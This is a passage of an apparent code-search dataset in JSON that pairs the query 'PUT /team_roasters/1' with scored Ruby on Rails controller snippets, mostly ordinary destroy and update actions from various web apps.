destroy\n # mark the record to be ignored by default\n if params.has_key?('hard_delete') && params['hard_delete'] == 'yes'\n @planting.destroy\n else\n @planting.ignore = true\n @planting.save!\n end\n\n respond_to do |format|\n format.html { redirect_to session[:listing_referer] || plantings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "802c8c6b04767ea2143cf44f043ae4ff", "score": "0.5973959", "text": "def destroy\n @hirecar.destroy\n History.create(\"action\"=>\"del\",\"user_id\" => current_user.id, \"description\" =>\"Leihwagen wurde geloescht\")\n respond_to do |format|\n format.html { redirect_to hirecars_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "390fd7891965c05d3cdeae9058670ef1", "score": "0.59710103", "text": "def delete\n # Fill this in\n end", "title": "" }, { "docid": "ad8b56e82da008454dc3745102364b67", "score": "0.59638375", "text": "def destroy\n @pizza = Pizza.find(params[:id])\n authorize! :destroy, @pizza\n @pizza.destroy\n\n respond_to do |format|\n format.html { redirect_to pizzas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "22af54a927e99c03ea4c2c5ef960e2cb", "score": "0.59624875", "text": "def destroy\n @learning_object = LearningObject.find(params[:id])\n @learning_object.destroy\n\n #Elimino la carpeta donde se alojaba el objeto\n\n\n respond_to do |format|\n format.html { redirect_to({:action => 'admin_material_search'}, notice: 'El material fue correctamente eliminado!') }\n format.json { head :no_content }\n end\n authorize! :destroy, LearningObject\n end", "title": "" }, { "docid": "f98867e9c8f530e72e8f256b56d486da", "score": "0.5960902", "text": "def before_destroy\n\t\t\tend", "title": "" }, { "docid": "db738551f139222aa5588800fef3c6fd", "score": "0.595917", "text": "def destroy\n authorize! :destroy, Attendance\n redirect_to attendances_path\n end", "title": "" }, { "docid": "c4c6c2179a704cb896a7d27b4634f72e", "score": "0.5956571", "text": "def delete_income\n @transaction = FinanceTransaction.shod(params[:id])\n authorize! :delete, @transaction\n @transaction.destroy\n flash[:notice] = t('income_delete')\n redirect_to view_income_finance_index_path\n end", "title": "" }, { "docid": "311354d08f35e7c5cb0ea9a26c5d3822", "score": "0.5955448", "text": "def destroy \n # Put constraint on the destroy action so it doesn't give the user access \n # to the destroy functionality if He/She isn't entitled to.\n authorize! :destroy, @pet\n @pet.destroy\n redirect_to pets_url\n end", "title": "" }, { "docid": "3503adbc77d4b3d7230a9c9c2d41d080", "score": "0.59517485", "text": "def destroy\n @refuge.destroy\n authorize @refuge\n respond_to do |format|\n format.html { redirect_to my_refuges_path, notice: 'Refuge was successfully destroyed.' }\n end\n end", "title": "" }, { "docid": "d1dbac9681d2676b1311982f43f2eb0f", "score": "0.5951394", "text": "def destroy\n @chetan.destroy\n respond_to do |format|\n format.html { redirect_to chetans_url, notice: 'Chetan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "971e1ed9045edb073e05905052dd2811", "score": "0.59506804", "text": "def destroy\n @crime = Crime.find(params[:id])\n @crime.destroy\n\n respond_to do |format|\n format.html { redirect_to crimes_url }\n format.json { head :no_content }\n end\nend", "title": "" }, { "docid": "6edd8d06d1a8cee1d625c4a6ff4f6645", "score": "0.5947897", "text": "def delete_choice\n redirect_to (\"/admin/people/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "608a9ba3818d8193f2bb4090d42b5448", "score": "0.5945172", "text": "def destroy\n @hunt = Hunt.find(params[:id])\n @hunt.destroy\n\n respond_to do |format|\n format.html { redirect_to hunts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ddff1d50b61801d526f2601d2f8c088a", "score": "0.59412515", "text": "def authorship_filter\n unless helpers.can_delete_example? @example\n flash[:danger] = 'You are not author of the phrase or example!'\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "61a7ec3cd7e45f588ba62601979226f2", "score": "0.59384537", "text": "def destroy\n @threed.destroy\n respond_to do |format|\n format.html { redirect_to threeds_url, notice: \"3D deleted\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95baa4c132bb5a62f95ba8c4940d79f4", "score": "0.59383893", "text": "def destroy\n# authorize! :destroy, Trade\n @trade.destroy\n respond_to do |format|\n format.html { redirect_to trades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "96804d28d1b035485474e42c382af642", "score": "0.5938158", "text": "def destroy\n @chalenge = Chalenge.find(params[:id])\n\tif current_user.id==Dataset.find(@chalenge.Dataset_id).User_id\n\t\t@chalenge.destroy\n\t\trespond_to do |format|\n\t\t format.html { redirect_to chalenges_url }\n\t\t format.json { head :ok }\n\t\tend\n\telse\n\t\tredirect_to chalenges_path,:alert => 'You must own the dataset that contains a chalenge to destroy it'\n\tend\n end", "title": "" }, { "docid": "506ad5f34f00c9feb4ef72f862d9518e", "score": "0.59375834", "text": "def destroy\n authorize @constructor\n @constructor.destroy\n respond_to do |format|\n format.html { redirect_to admin_constructors_url, notice: 'Xóa thành công.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "351d9e43e6a38f0469230fc3fb073482", "score": "0.5937522", "text": "def destroy\n @treasure_treasure_hunt = Treasure::TreasureHunt.find(params[:id])\n @treasure_treasure_hunt.destroy\n\n respond_to do |format|\n format.html { redirect_to treasure_treasure_hunts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "cff485b243c11a673bc6a496c5534725", "score": "0.5936323", "text": "def destroy\n @user_story_acceptance_criterion.destroy\n respond_to do |format|\n format.html { redirect_to [@project, @theme, @user_story], notice: 'Critério de aceitação deletado com sucesso .' }\n end\n end", "title": "" }, { "docid": "884994add33833dd7bc1b8eb191e374b", "score": "0.5931315", "text": "def profs\n @professors = [\"Florez\", \"Moore\", \"Rudolph\", \"Trautman\", \"Verdicchio\"]\n if params[:pass] == 'mathisfun' && params[:commit] == 'Delete'\n @cwid = params[:id]\n @student = Student.where(cwid: @cwid).take\n poof()\n elsif params[:pass] == 'mathisfun' && params[:commit] == 'Delete All'\n purge()\n else\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Sorry, that password was incorrect.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "63eb51704669177d3a13f0ba1a450c2f", "score": "0.5924825", "text": "def destroy\n @washer_dryer = WasherDryer.find(params[:id])\n @washer_dryer.destroy\n\n respond_to do |format|\n format.html { redirect_to(washer_dryers_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2658913d0de37d3e3ef4962cc18eb211", "score": "0.59243864", "text": "def destroy\n @resturant.destroy\n redirect_to resturants_url\n end", "title": "" }, { "docid": "3450349e45fc18378bd9969d413cd153", "score": "0.5920651", "text": "def destroy\n \n end", "title": "" }, { "docid": "3450349e45fc18378bd9969d413cd153", "score": "0.5920651", "text": "def destroy\n \n end", "title": "" }, { "docid": "81900266785e68b2a8b545c48fb87fab", "score": "0.5918909", "text": "def delete\n Society.find(params[:id]).destroy\n redirect_to :action => :list\n end", "title": "" }, { "docid": "1dfb1188f165b308e219a8d0568b72a6", "score": "0.59154654", "text": "def destroy\n @canteen.destroy\n respond_to do |format|\n format.html { redirect_to canteens_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a93fb56258a4f7ddc44da783f20ef4e8", "score": "0.5911835", "text": "def destroy\n @student = Student.shod(params[:id])\n authorize! :delete, @student\n @student.destroy\n redirect_to home_dashboard_path\n end", "title": "" }, { "docid": "8e32e1084b12c0d12ae4bd3f5aa4ac61", "score": "0.5910959", "text": "def destroy\n @fellow.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "dd651bc77e11ac7001f94b364a430f75", "score": "0.59104234", "text": "def before_soft_delete\n\n end", "title": "" }, { "docid": "5df64fa344885dd0a580939c762f3fb7", "score": "0.59090877", "text": "def destroy\n authorize @final_wish\n @final_wish.destroy\n respond_to do |format|\n format.html { redirect_to back_path || final_wishes_url, notice: 'Final Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "041cbe58db898b47d3aa30c468a0b083", "score": "0.5901153", "text": "def remove\n authorize @college\n end", "title": "" }, { "docid": "60442a36a5fd2c1a9fcd961155fa1c49", "score": "0.5896659", "text": "def destroy\n @cheese.destroy\n render \"api/cheeses/show\"\n end", "title": "" }, { "docid": "f139039520796d07fe0626755be43c56", "score": "0.5895449", "text": "def destroy\n @cash.destroy\n redirect_to cashes_url\n end", "title": "" }, { "docid": "4f55c3b781ad191ef8c3f7ed47632053", "score": "0.58917576", "text": "def destroy\n @hunt.destroy\n respond_to do |format|\n format.html { redirect_to hunts_url, notice: 'Hunt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4f55c3b781ad191ef8c3f7ed47632053", "score": "0.58917576", "text": "def destroy\n @hunt.destroy\n respond_to do |format|\n format.html { redirect_to hunts_url, notice: 'Hunt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b8ece62b8c85dce5e251aef79cbdf984", "score": "0.5886472", "text": "def destroy\n @shelter = Shelter.find(params[:id])\n @shelter.destroy\n\n respond_to do |format|\n format.html { redirect_to shelters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.5883879", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.5883879", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.5883879", "text": "def delete\n\n end", "title": "" }, { "docid": "89268a6ec13a5a681962b227c3d9fb42", "score": "0.5883879", "text": "def delete\n\n end", "title": "" }, { "docid": "7350e40bf92e50f73f26cd20533c6ac2", "score": "0.58788353", "text": "def destroy\n @standing.destroy\n respond_to do |format|\n format.html { redirect_to standings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a5cedb367d1caf963eb6d3245514ecad", "score": "0.58775586", "text": "def destroy\n Washer.find(params[:id]).destroy\n flash[:success] = \"Washer deleted\"\n redirect_to washers_path\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" }, { "docid": "a860d99cfb28f6db9530a66dbcd28e3c", "score": "0.58726186", "text": "def delete\n end", "title": "" } ]
75996333c2622c952d193edcb65b9a26
PUT /team_roasters/1 PUT /team_roasters/1.xml
[ { "docid": "26f7e731330837488107184bde689881", "score": "0.6455079", "text": "def update\n @team_roaster = TeamRoaster.find(params[:id])\n\n respond_to do |format|\n if @team_roaster.update_attributes(params[:team_roaster])\n format.html { redirect_to(@team_roaster, :notice => 'Team roaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team_roaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "139de7ef8ddb2f4f0e2a3143012a0ae0", "score": "0.5916464", "text": "def destroy\n @team_roaster = TeamRoaster.find(params[:id])\n @team_roaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(team_roasters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b2d63d4c8f2db7d200eada015b8d604d", "score": "0.5800408", "text": "def update\n @tournament = @resource_finder.find(params[:id])\n\n respond_to do |format|\n if @tournament.update_attributes(params[:tournament])\n flash[:notice] = 'Tournament was successfully updated.'\n format.html { redirect_to_resource }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tournament.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30adccdf81678fced8fb1efb0f78e981", "score": "0.56882536", "text": "def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb580e0d2e5739282ee85ae35d2e490d", "score": "0.56770146", "text": "def update\n @roaster = Roaster.find(params[:id])\n\n respond_to do |format|\n if @roaster.update_attributes(params[:roaster])\n flash[:notice] = 'Roaster was successfully updated.'\n format.html { redirect_to(@roaster) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @roaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7cbcb2cda6e100042f124dacd474f3be", "score": "0.56381994", "text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "7e8f9b07a4ae996b1d5a5715629c1c1d", "score": "0.55881137", "text": "def show\n @team_roaster = TeamRoaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @team_roaster }\n end\n end", "title": "" }, { "docid": "fe2a0e0ebaafeeb29a99a865a9a8cd81", "score": "0.556185", "text": "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "014fcb82c86fefe8ed033e97ce2daa83", "score": "0.5518655", "text": "def update\n respond_to do |format|\n if @roast.update(roast_params)\n format.html { redirect_to @roast, notice: 'Roast was successfully updated.' }\n format.json { render :show, status: :ok, location: @roast }\n else\n format.html { render :edit }\n format.json { render json: @roast.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a76be42fafffd34e71ede6926c5710c8", "score": "0.5495438", "text": "def create\n @team_roaster = TeamRoaster.new(params[:team_roaster])\n\n respond_to do |format|\n if @team_roaster.save\n format.html { redirect_to(@team_roaster, :notice => 'Team roaster was successfully created.') }\n format.xml { render :xml => @team_roaster, :status => :created, :location => @team_roaster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @team_roaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d2c5049357ea9799f42f729871b0692", "score": "0.54666835", "text": "def update\n @rooster = Rooster.find(params[:id])\n\n respond_to do |format|\n if @rooster.update_attributes(params[:rooster])\n format.html { redirect_to @rooster, notice: 'Rooster was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rooster.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c6fbea14a8bf144a7234678103a68e3", "score": "0.5464215", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to(@team, :notice => 'Team was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72ebda76733431e3a80cc05e277de8eb", "score": "0.54514545", "text": "def update_team\n \n end", "title": "" }, { "docid": "2d7e2aab91d168e5c4b0441471ff57d2", "score": "0.54463375", "text": "def update\n @rayon = Rayon.find(params[:id])\n\n respond_to do |format|\n if @rayon.update_attributes(params[:rayon])\n format.html { redirect_to @rayon, notice: 'Rayon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rayon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2c0b673628fdc28b181d18c0afd2d5b", "score": "0.54391664", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "title": "" }, { "docid": "d9c90c01c3ab6dd093d0d7277c368062", "score": "0.5428988", "text": "def update \n @team = Team.find params[:id]\n respond_to do |format|\n if @team.update_attributes(params[:team])\n flash[:notice] = 'Yay, saved!'\n format.html { redirect_to(:action => :show, :id => @team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e417db01b69d1d35059f48ffab7f117", "score": "0.5421463", "text": "def set_team\n @team = @resource = Team.find(params[:id])\n end", "title": "" }, { "docid": "03233742306317bd7bd7d706df80b830", "score": "0.54002124", "text": "def set_okr_team\n @okr_team = OkrTeam.find(params[:id])\n end", "title": "" }, { "docid": "6d7c0acb1e790e4f00d3ae13b83415cc", "score": "0.53679484", "text": "def update\n @team = Team.find(params[:id])\n\n if @team.update_attributes(params[:team])\n head :no_content\n else\n render json: @team.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4d0b0edff8b4f27e8fd102608fd3bb14", "score": "0.5367775", "text": "def update\n @team = Team.find(params[:id])\n @player = Player.find(params[:player_id])\n if @player.access_key == params[:access_key] && (@team.leader_id == @player.id || @team.game.owner_id == @player.id) then\n @team.name = params[:name]\n @team.leader_id = params[:leader_id]\n\n respond_to do |format|\n if @team.save\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n else\n head :unauthorized\n end\n end", "title": "" }, { "docid": "be26def76d78c94f0f0676c47247ef75", "score": "0.5362246", "text": "def update\n @team = Team.find(params[:id])\n respond_to do |format|\n if @team.update_attributes(params[:team])\n flash[:notice] = 'Tím bol úspšne zmenený.'\n format.html { redirect_to(@team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d90cead29b1f3121f75945a8a36b588", "score": "0.5361438", "text": "def update\n respond_to do |format|\n if @team.update_attributes(team_params)\n format.html { redirect_to(@team, :notice => 'Team was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb9aaa008e00f8e0387f4ff1bdf57055", "score": "0.5354519", "text": "def update_team\n @team.update(team_params)\n end", "title": "" }, { "docid": "cabf5aa31a74f3aee4141ab7897f516f", "score": "0.5340677", "text": "def update\n @nba_team = NbaTeam.find(params[:id])\n\n respond_to do |format|\n if @nba_team.update_attributes(params[:nba_team])\n format.html { redirect_to @nba_team, notice: 'Nba team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nba_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28dc9b3fa3cef88c15604fa1d8607671", "score": "0.5331458", "text": "def update\n @persona_team = PersonaTeam.find(params[:id])\n\n respond_to do |format|\n if @persona_team.update_attributes(params[:persona_team])\n flash[:notice] = 'Persona team was successfully updated.'\n format.html { redirect_to(@persona_team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @persona_team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "864f8b47f6547d4a504e8c0cfe9ac0b4", "score": "0.5321498", "text": "def update\n @rto = TrainingOrganization.find(params[:id])\n p rto_params\n respond_to do |format|\n if @rto.update(rto_params)\n format.html { redirect_to @rto, notice: 'RTO was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "722c0e8740211b61925e7bb4f37b9a4e", "score": "0.53198546", "text": "def update\n respond_to do |format|\n @team.name = team_params[:name]\n if @team.save\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8929c65b398c90034683cc0df19d7ed5", "score": "0.5308294", "text": "def update\n @sim_team = SimTeam.find(params[:id])\n\n respond_to do |format|\n if @sim_team.update_attributes(params[:sim_team])\n flash[:notice] = 'SimTeam was successfully updated.'\n format.html { redirect_to(@sim_team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sim_team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae5fb82effc733bee8eb354853d40308", "score": "0.5296494", "text": "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "title": "" }, { "docid": "2a966560c4534f194cdd6b996584e81a", "score": "0.52918136", "text": "def update\n @user_team = UserTeam.find(params[:id])\n\n respond_to do |format|\n if @user_team.update_attributes(params[:user_team])\n format.html { redirect_to(@user_team, :notice => 'User team was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0efdb29e1cd0edc831a5bff79c9553cb", "score": "0.526681", "text": "def update\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n if @arrendimientospago.update_attributes(params[:arrendimientospago])\n format.html { redirect_to(@arrendimientospago, :notice => 'Arrendimientospago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arrendimientospago.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c022863cab49158e71c6940e7acfabd", "score": "0.52623224", "text": "def update\n @league = League.find(params[:league_id])\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8cd132fa341b51a0cdb3e83b9b561cd", "score": "0.523353", "text": "def update\n @node_rack = @object\n\n respond_to do |format|\n if @node_rack.update_attributes(params[:node_rack])\n flash[:notice] = 'NodeRack was successfully updated.'\n format.html { redirect_to node_rack_url(@node_rack) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c72daaeed9f345c220e8c57e0c1c3e42", "score": "0.5217591", "text": "def set_roast\n @roast = Roast.find(params[:id])\n end", "title": "" }, { "docid": "c72daaeed9f345c220e8c57e0c1c3e42", "score": "0.5217591", "text": "def set_roast\n @roast = Roast.find(params[:id])\n end", "title": "" }, { "docid": "cc356690d29d24dcd97491fdf318877b", "score": "0.5211589", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n notify :notice, 'Team was successfully updated.'\n format.html { redirect_to(@team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2c195517751cfaa2907d2ed95f02087", "score": "0.5210907", "text": "def update\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to [@race, @team], notice: I18n.t(:update, scope: 'messages.crud', model: Team.model_name.human) }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8be03bcfe97f0f94c20830669474f089", "score": "0.52088374", "text": "def update\n @master_spec = Master::Spec.find(params[:id])\n\n respond_to do |format|\n if @master_spec.update_attributes(params[:master_spec])\n format.html { redirect_to(@master_spec, :notice => 'Spec was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @master_spec.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "beb0aed7bd560f8833753df808dcdfc0", "score": "0.52007985", "text": "def update\n @club = Club.find_by_slug(params[:club_id])\n @team = @club.teams.find_by_name(params[:id].upcase)\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to([@club, @team], :notice => 'Team was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "11e4e55e86da12e694efb5c3d576ab3e", "score": "0.51795757", "text": "def update\n # if @tournament.update(tournament_params)\n # render :show, status: :ok, location: @tournament\n # else\n # render json: @tournament.errors, status: :unprocessable_entity\n # end\n end", "title": "" }, { "docid": "1a7d10123afe714691120171c4dcce31", "score": "0.51770073", "text": "def update\n @ultimate_team = UltimateTeam.find(params[:id])\n\n respond_to do |format|\n if @ultimate_team.update_attributes(params[:ultimate_team])\n format.html { redirect_to @ultimate_team, notice: 'Ultimate team was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ultimate_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89a515894a7c3ec5019128ec0fd082bb", "score": "0.51665723", "text": "def update\n @team_roleset = TeamRoleset.find(params[:id])\n\n respond_to do |format|\n if @team_roleset.update_attributes(params[:team_roleset])\n format.html { redirect_to(@team_roleset, :notice => 'TeamRoleset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team_roleset.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b74852692d1c06b2063c0f7e8a41799e", "score": "0.51618", "text": "def new\n @team_roaster = TeamRoaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @team_roaster }\n end\n end", "title": "" }, { "docid": "9c174e87fcfe1701361eb517aa5ba7e6", "score": "0.51515406", "text": "def update\n @league = League.find(params[:id])\n\n respond_to do |format|\n if @league.update_attributes(params[:league])\n flash[:notice] = 'League was successfully updated.'\n format.html { redirect_to(@league) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @league.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f786529050956e6f2f6e50142841bf6f", "score": "0.51513755", "text": "def update\n @league = League.find(params[:id])\n\n respond_to do |format|\n if @league.update_attributes(params[:league])\n format.html { redirect_to(@league, :notice => 'League was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @league.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cabbeee25775c32cfae2992af2a546c4", "score": "0.5142704", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render json: @team }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3264567f1d3558dd34990f67dd09fa67", "score": "0.51360744", "text": "def set_tournamentteam\n @tournamentteam = Tournamentteam.find(params[:id])\n end", "title": "" }, { "docid": "f09df27c2f1cb8ab57430709389000d1", "score": "0.5134514", "text": "def removeFromTournament\n @tournament = Tournament.find(params[:tournament_id])\n \t@team = Team.find(params[:id])\n \t@tournament.teams.delete(@team)\n\t\n respond_to do |format|\n format.html { redirect_to(tournament_path(@tournament)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "96662d82b00ef608012462c9f6d75d0d", "score": "0.5134141", "text": "def destroy\n @roaster = Roaster.find(params[:id])\n @roaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(roasters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ccd3783f314411a6332b421098d6415f", "score": "0.51302046", "text": "def update\n @scout_master = ScoutMaster.find(params[:id])\n\n respond_to do |format|\n if @scout_master.update_attributes(params[:scout_master])\n format.html { redirect_to(@scout_master, :notice => 'Scout master was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @scout_master.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5514c10aca0ceb13ef2f2ba1619ffdde", "score": "0.51272964", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "638e02bc4105733f2d215142cdb03bb0", "score": "0.51226133", "text": "def update\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to organization_teams_path(@team.organization_id), notice: 'Team was successfully updated.' }\n 